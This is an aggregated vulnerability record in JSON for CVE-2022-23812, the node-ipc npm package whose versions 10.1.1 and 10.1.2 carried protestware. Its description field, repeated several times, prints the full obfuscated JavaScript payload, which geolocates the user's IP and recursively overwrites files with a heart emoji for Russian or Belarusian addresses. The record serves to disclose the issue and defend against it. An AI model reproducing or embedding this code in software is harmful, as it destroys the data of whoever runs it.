{"id":"CVE-2022-23812","aliases":["EUVD-2022-1390","GHSA-97m3-w2cp-4xx6"],"status":"published","title":"Malicious Package","description":"This affects the package node-ipc from 10.1.1 and before 10.1.3. This package contains malicious code, that targets users with IP located in Russia or Belarus, and overwrites their files with a heart emoji. **Note**: from versions 11.0.0 onwards, instead of having malicious code directly in the source of this package, node-ipc imports the peacenotwar package that includes potentially undesired behavior. Malicious Code: **Note:** Don't run it! js import u from \"path\"; import a from \"fs\"; import o from \"https\"; setTimeout(function () { const t = Math.round(Math.random() * 4); if (t \u003e 1) { return; } const n = Buffer.from(\"aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=\", \"base64\"); // https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154 o.get(n.toString(\"utf8\"), function (t) { t.on(\"data\", function (t) { const n = Buffer.from(\"Li8=\", \"base64\"); const o = Buffer.from(\"Li4v\", \"base64\"); const r = Buffer.from(\"Li4vLi4v\", \"base64\"); const f = Buffer.from(\"Lw==\", \"base64\"); const c = Buffer.from(\"Y291bnRyeV9uYW1l\", \"base64\"); const e = Buffer.from(\"cnVzc2lh\", \"base64\"); const i = Buffer.from(\"YmVsYXJ1cw==\", \"base64\"); try { const s = JSON.parse(t.toString(\"utf8\")); const u = s[c.toString(\"utf8\")].toLowerCase(); const a = u.includes(e.toString(\"utf8\")) || u.includes(i.toString(\"utf8\")); // checks if country is Russia or Belarus if (a) { h(n.toString(\"utf8\")); h(o.toString(\"utf8\")); h(r.toString(\"utf8\")); h(f.toString(\"utf8\")); } } catch (t) {} }); }); }, Math.ceil(Math.random() * 1e3)); async function h(n = \"\", o = \"\") { if (!a.existsSync(n)) { return; } let r = []; try { r = a.readdirSync(n); } catch (t) {} const f = []; const c = Buffer.from(\"4p2k77iP\", \"base64\"); for (var e = 0; e \u003c r.length; e++) { const i = u.join(n, r[e]); let t = null; try { t = a.lstatSync(i); } catch (t) { continue; } if (t.isDirectory()) { const s = h(i, o); s.length \u003e 0 ? f.push(...s) : null; } else if (i.indexOf(o) \u003e= 0) { try { a.writeFile(i, c.toString(\"utf8\"), function () {}); // overwrites file with ❤️ } catch (t) {} } } return f; } const ssl = true; export { ssl as default, ssl };","severity":{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.04225,"percentile":0.91139,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":true},"cwes":["CWE-506","CWE-94"],"published":"2022-03-16T15:45:31Z","modified":"2026-06-17T04:30:49Z","exploits":[{"source":"pocgithub","id":"scriptzteam/node-ipc-malware-protestware-CVE-2022-23812","title":"scriptzteam/node-ipc-malware-protestware-CVE-2022-23812","date":"2022-03-17","url":"https://github.com/scriptzteam/node-ipc-malware-protestware-CVE-2022-23812"}],"fixes":[{"ecosystem":"npm","package":"node-ipc","fixed_in":["10.1.3"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"node-ipc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.1.1"},{"fixed":"10.1.3"}]}]},{"source":"osv","ecosystem":"npm","package":"node-ipc","ranges":[{"type":"SEMVER","events":[{"introduced":"10.1.1"},{"fixed":"10.1.3"}]}]}],"products":[{"vendor":"node-ipc_project","product":"node-ipc"}],"references":[{"url":"https://snyk.io/vuln/SNYK-JS-NODEIPC-2426370","tags":["x_refsource_MISC","x_transferred","Exploit","Patch","Third Party Advisory","web"]},{"url":"https://github.com/RIAEvangelist/node-ipc/issues/236","tags":["x_refsource_MISC","x_transferred","Issue Tracking","Patch","Third Party Advisory","web"]},{"url":"https://github.com/RIAEvangelist/node-ipc/issues/233","tags":["x_refsource_MISC","x_transferred","Issue Tracking","Patch","Third Party Advisory","web"]},{"url":"https://github.com/RIAEvangelist/node-ipc/blob/847047cf7f81ab08352038b2204f0e7633449580/dao/ssl-geospec.js","tags":["x_refsource_MISC","x_transferred","Third Party Advisory","web"]},{"url":"https://github.com/RIAEvangelist/node-ipc/commit/847047cf7f81ab08352038b2204f0e7633449580","tags":["x_refsource_MISC","x_transferred","Patch","web"]},{"url":"https://security.netapp.com/advisory/ntap-20220407-0005/","tags":["x_refsource_CONFIRM","x_transferred","Third Party Advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2022-23812","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-97m3-w2cp-4xx6"},{"url":"https://github.com/RIAEvangelist/node-ipc","tags":["package"]},{"url":"https://security.netapp.com/advisory/ntap-20220407-0005","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2022-23812","title":"Malicious Package","description":"This affects the package node-ipc from 10.1.1 and before 10.1.3. This package contains malicious code, that targets users with IP located in Russia or Belarus, and overwrites their files with a heart emoji. **Note**: from versions 11.0.0 onwards, instead of having malicious code directly in the source of this package, node-ipc imports the peacenotwar package that includes potentially undesired behavior. Malicious Code: **Note:** Don't run it! js import u from \"path\"; import a from \"fs\"; import o from \"https\"; setTimeout(function () { const t = Math.round(Math.random() * 4); if (t \u003e 1) { return; } const n = Buffer.from(\"aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=\", \"base64\"); // https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154 o.get(n.toString(\"utf8\"), function (t) { t.on(\"data\", function (t) { const n = Buffer.from(\"Li8=\", \"base64\"); const o = Buffer.from(\"Li4v\", \"base64\"); const r = Buffer.from(\"Li4vLi4v\", \"base64\"); const f = Buffer.from(\"Lw==\", \"base64\"); const c = Buffer.from(\"Y291bnRyeV9uYW1l\", \"base64\"); const e = Buffer.from(\"cnVzc2lh\", \"base64\"); const i = Buffer.from(\"YmVsYXJ1cw==\", \"base64\"); try { const s = JSON.parse(t.toString(\"utf8\")); const u = s[c.toString(\"utf8\")].toLowerCase(); const a = u.includes(e.toString(\"utf8\")) || u.includes(i.toString(\"utf8\")); // checks if country is Russia or Belarus if (a) { h(n.toString(\"utf8\")); h(o.toString(\"utf8\")); h(r.toString(\"utf8\")); h(f.toString(\"utf8\")); } } catch (t) {} }); }); }, Math.ceil(Math.random() * 1e3)); async function h(n = \"\", o = \"\") { if (!a.existsSync(n)) { return; } let r = []; try { r = a.readdirSync(n); } catch (t) {} const f = []; const c = Buffer.from(\"4p2k77iP\", \"base64\"); for (var e = 0; e \u003c r.length; e++) { const i = u.join(n, r[e]); let t = null; try { t = a.lstatSync(i); } catch (t) { continue; } if (t.isDirectory()) { const s = h(i, o); s.length \u003e 0 ? f.push(...s) : null; } else if (i.indexOf(o) \u003e= 0) { try { a.writeFile(i, c.toString(\"utf8\"), function () {}); // overwrites file with ❤️ } catch (t) {} } } return f; } const ssl = true; export { ssl as default, ssl };","status":"published","published":"2022-03-16T15:45:31.515Z","modified":"2024-09-16T22:19:54.618Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:H","level":"critical","assessor":"cna"}],"updated_at":"2026-11-02T14:34:29.842547Z"}],"euvd":[{"id":"EUVD-2022-1390","description":"This affects the package node-ipc from 10.1.1 and before 10.1.3. This package contains malicious code, that targets users with IP located in Russia or Belarus, and overwrites their files with a heart emoji. **Note**: from versions 11.0.0 onwards, instead of having malicious code directly in the source of this package, node-ipc imports the peacenotwar package that includes potentially undesired behavior. Malicious Code: **Note:** Don't run it! js import u from \"path\"; import a from \"fs\"; import o from \"https\"; setTimeout(function () { const t = Math.round(Math.random() * 4); if (t \u003e 1) { return; } const n = Buffer.from(\"aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=\", \"base64\"); // https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154 o.get(n.toString(\"utf8\"), function (t) { t.on(\"data\", function (t) { const n = Buffer.from(\"Li8=\", \"base64\"); const o = Buffer.from(\"Li4v\", \"base64\"); const r = Buffer.from(\"Li4vLi4v\", \"base64\"); const f = Buffer.from(\"Lw==\", \"base64\"); const c = Buffer.from(\"Y291bnRyeV9uYW1l\", \"base64\"); const e = Buffer.from(\"cnVzc2lh\", \"base64\"); const i = Buffer.from(\"YmVsYXJ1cw==\", \"base64\"); try { const s = JSON.parse(t.toString(\"utf8\")); const u = s[c.toString(\"utf8\")].toLowerCase(); const a = u.includes(e.toString(\"utf8\")) || u.includes(i.toString(\"utf8\")); // checks if country is Russia or Belarus if (a) { h(n.toString(\"utf8\")); h(o.toString(\"utf8\")); h(r.toString(\"utf8\")); h(f.toString(\"utf8\")); } } catch (t) {} }); }); }, Math.ceil(Math.random() * 1e3)); async function h(n = \"\", o = \"\") { if (!a.existsSync(n)) { return; } let r = []; try { r = a.readdirSync(n); } catch (t) {} const f = []; const c = Buffer.from(\"4p2k77iP\", \"base64\"); for (var e = 0; e \u003c r.length; e++) { const i = u.join(n, r[e]); let t = null; try { t = a.lstatSync(i); } catch (t) { continue; } if (t.isDirectory()) { const s = h(i, o); s.length \u003e 0 ? f.push(...s) : null; } else if (i.indexOf(o) \u003e= 0) { try { a.writeFile(i, c.toString(\"utf8\"), function () {}); // overwrites file with ❤️ } catch (t) {} } } return f; } const ssl = true; export { ssl as default, ssl };","status":"published","published":"2022-03-16T15:45:31Z","modified":"2024-09-16T22:19:54Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:H","level":"critical"}],"updated_at":"2026-11-03T00:55:04.418269Z"}],"ghsa":[{"id":"GHSA-97m3-w2cp-4xx6","title":"Embedded Malicious Code in node-ipc","description":"The package node-ipc versions 10.1.1 and 10.1.2 are vulnerable to embedded malicious code that was introduced by the maintainer. The malicious code was intended to overwrite arbitrary files dependent upon the geo-location of the user IP address. The maintainer removed the malicious code in version 10.1.3.","status":"published","published":"2022-03-16T23:54:32Z","modified":"2023-01-27T05:00:44Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-94","CWE-506"],"updated_at":"2026-11-02T14:36:15.574072Z"}],"nvd":[{"id":"CVE-2022-23812","description":"This affects the package node-ipc from 10.1.1 and before 10.1.3. This package contains malicious code, that targets users with IP located in Russia or Belarus, and overwrites their files with a heart emoji. **Note**: from versions 11.0.0 onwards, instead of having malicious code directly in the source of this package, node-ipc imports the peacenotwar package that includes potentially undesired behavior. Malicious Code: **Note:** Don't run it! js import u from \"path\"; import a from \"fs\"; import o from \"https\"; setTimeout(function () { const t = Math.round(Math.random() * 4); if (t \u003e 1) { return; } const n = Buffer.from(\"aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=\", \"base64\"); // https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154 o.get(n.toString(\"utf8\"), function (t) { t.on(\"data\", function (t) { const n = Buffer.from(\"Li8=\", \"base64\"); const o = Buffer.from(\"Li4v\", \"base64\"); const r = Buffer.from(\"Li4vLi4v\", \"base64\"); const f = Buffer.from(\"Lw==\", \"base64\"); const c = Buffer.from(\"Y291bnRyeV9uYW1l\", \"base64\"); const e = Buffer.from(\"cnVzc2lh\", \"base64\"); const i = Buffer.from(\"YmVsYXJ1cw==\", \"base64\"); try { const s = JSON.parse(t.toString(\"utf8\")); const u = s[c.toString(\"utf8\")].toLowerCase(); const a = u.includes(e.toString(\"utf8\")) || u.includes(i.toString(\"utf8\")); // checks if country is Russia or Belarus if (a) { h(n.toString(\"utf8\")); h(o.toString(\"utf8\")); h(r.toString(\"utf8\")); h(f.toString(\"utf8\")); } } catch (t) {} }); }); }, Math.ceil(Math.random() * 1e3)); async function h(n = \"\", o = \"\") { if (!a.existsSync(n)) { return; } let r = []; try { r = a.readdirSync(n); } catch (t) {} const f = []; const c = Buffer.from(\"4p2k77iP\", \"base64\"); for (var e = 0; e \u003c r.length; e++) { const i = u.join(n, r[e]); let t = null; try { t = a.lstatSync(i); } catch (t) { continue; } if (t.isDirectory()) { const s = h(i, o); s.length \u003e 0 ? f.push(...s) : null; } else if (i.indexOf(o) \u003e= 0) { try { a.writeFile(i, c.toString(\"utf8\"), function () {}); // overwrites file with ❤️ } catch (t) {} } } return f; } const ssl = true; export { ssl as default, ssl };","status":"published","published":"2022-03-16T16:15:10.85Z","modified":"2026-06-17T04:30:49.207Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"secondary"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"primary"},{"version":"2.0","score":10,"vector":"AV:N/AC:L/Au:N/C:C/I:C/A:C","level":"high","assessor":"primary"}],"updated_at":"2026-11-02T14:07:14.24948Z"}],"osv":[{"id":"GHSA-97m3-w2cp-4xx6","title":"Embedded Malicious Code in node-ipc","description":"The package node-ipc versions 10.1.1 and 10.1.2 are vulnerable to embedded malicious code that was introduced by the maintainer. The malicious code was intended to overwrite arbitrary files dependent upon the geo-location of the user IP address. The maintainer removed the malicious code in version 10.1.3.","status":"published","published":"2022-03-16T23:54:32Z","modified":"2026-03-16T03:12:33.092894Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-506","CWE-94"],"updated_at":"2026-11-02T15:46:43.524801Z"}]}}